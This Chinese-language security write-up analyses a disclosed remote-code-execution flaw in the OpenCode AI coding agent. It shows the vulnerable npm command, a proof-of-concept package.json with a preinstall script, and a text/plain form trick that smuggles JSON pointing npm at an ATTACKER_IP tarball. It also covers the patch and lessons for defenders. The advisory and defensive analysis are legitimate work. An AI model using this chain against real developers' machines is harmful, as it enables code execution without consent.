ARTICLE · 1121931
AI编码代理变跳板:一个Content-Type混淆如何把网页点击变成本机RCE

OpenCode升级接口的Content-Type混淆,让任意网页一次点击就能在开发者本机执行npm脚本。82个受影响版本一周下载64.7万次,1.18.22已修复。攻击链逐层拆解。
OpenCode的升级接口把用户输入直接拼进shell命令,又因为不校验Content-Type,恶意网页可以借浏览器顶层导航绕过CORS触发它。任意网页加一次点击,等于在开发者本机执行任意npm脚本。受影响的82个版本在一周内被下载64.7万次。
这就是Datadog Security Labs在2026年9月24日披露的OpenCode远程代码执行漏洞GHSA-632h-h47v-g4x4(高危)。OpenCode是开源AI编码代理,与Claude Code、Codex同类,GitHub star超过21万,1.18.22版本已修复。
【漏洞本体:升级接口的命令注入】
opencode serve启动的API里有个upgrade端点,负责把OpenCode升级到指定版本:
POST/global/upgradeHTTP/1.1Host:127.0.0.1:4096Content-Type:text/plain{"target":"1.18.1"}服务端实现里,target参数被直接拼进包管理器命令:
upgradeResult=yield*run(["npm","install","-g",`opencode-ai@${target}`])问题在于npm的安装目标既接受语义化版本号,也接受远程tarball URL。target没有任何格式校验,攻击者可以塞进任意URL——npm会乖乖从攻击者服务器拉包安装。
要让npm执行任意代码,只差一个带preinstall生命周期脚本的包:
{"name":"opencode-ai","version":"1.0.0","scripts":{"preinstall":"open /System/Applications/Calculator.app && id > /tmp/opencode-rce"}}npm install -g装包时会自动执行preinstall。命令注入到这里就是完整的代码执行。
【跨域利用:浏览器帮了攻击者什么】
OpenCode服务端默认只监听127.0.0.1,攻击者从外部够不到。但受害者的浏览器可以。
直接用fetch发跨域POST会被CORS拦住:application/json触发预检请求,OpenCode不返回Access-Control-Allow-Origin,浏览器直接不发正式请求。Chrome 142、Firefox 151引入的Local Network Access还会在跨域访问localhost前弹窗询问用户。
两道防线按设计都不拦顶层导航。HTML表单提交POST走的就是顶层导航——但表单默认编码是application/x-www-form-urlencoded,OpenCode的parseBody只认JSON,会返回400。
关键缝隙在这里:upgradeRaw直接拿请求体当JSON解析,完全不检查Content-Type头。而HTML表单支持enctype="text/plain",text/plain模式不触发CORS预检,浏览器也不会URL编码参数。
text/plain表单的请求体格式是参数名=参数值逐行排列,中间插一个等号。攻击者把JSON拆开藏进去: - 参数名:{"target":"http://ATTACKER_IP/opencode-malicious.tgz","x":" - 参数值:"} 等号插在中间,拼出来的正好是一段合法JSON。服务端拿到body直接JSON.parse成功,升级流程启动,npm从攻击者服务器拉下恶意包,preinstall脚本在受害者机器上执行。全程一次点击,无需认证,无任何弹窗。
「千里之堤,溃于蚁穴」。命令注入是那道蚁穴,Content-Type校验缺失是把蚁穴接到大堤外部的引水渠——两层防御各自都还有其他部分在正常工作,但组合起来的攻击路径完全成立。

PR #44686在8月24日合并,补丁动了两个点:
- export const GlobalUpgradeInput = Schema.Struct({- target: Schema.optional(Schema.String),- })+ export const GlobalUpgradeInput = Schema.Struct({+ target: Schema.String.check(+ Schema.makeFilter((value) => (semver.valid(value) === null ? "Expected a semantic version" : undefined)),+ ),+ })target收紧为语义化版本号,tarball URL直接被schema拒绝。同时handleRaw换成handle,后者按Content-Type头解码请求体,text/plain表单再也到不了解析层,恶意请求收到415 Unsupported Media Type。
三个条件同时成立才会中招:OpenCode版本在1.14.30到1.18.21之间;跑opencode serve或opencode web时没设OPENCODE_SERVER_PASSWORD认证;通过npm、pnpm或Bun安装。占全了就该升级到1.18.22。ls -l "$(command -v opencode)"可以确认安装方式。
【给开发者的三个通用教训】
升级接口接受版本号以外的任何输入都是危险的——semver校验一行schema的事,漏掉就是任意包安装。API层做Content-Type校验不能依赖框架默认行为,Effect的handleRaw就是反例:它按"当JSON处理"设计,却把内容协商交给了运气。本地服务假设127.0.0.1是安全边界也不成立,浏览器的顶层导航是合法的跨域通道,DNS rebinding之外又多了text/plain表单拼JSON这种零依赖手法。
给本地工具做Web界面的团队,值得把这条攻击链存档:任意输入进shell命令是根因,Content-Type混淆是通路,浏览器是运载工具——三处断掉任意一处,链条就断。
「祸患常积于忽微」。OpenCode 20万star的体量,漏洞出在一个升级函数的参数校验上;Datadog从发现到公开走了一个月,Anomaly当天修复。响应速度没得挑,但这个案例留给所有AI工具开发者的功课是:编码代理拿着shell和包管理器的全部权限,它的每一个HTTP端点都值得用攻击者视角过一遍。

故沙
安全开发 · AI智能体 · 全栈技术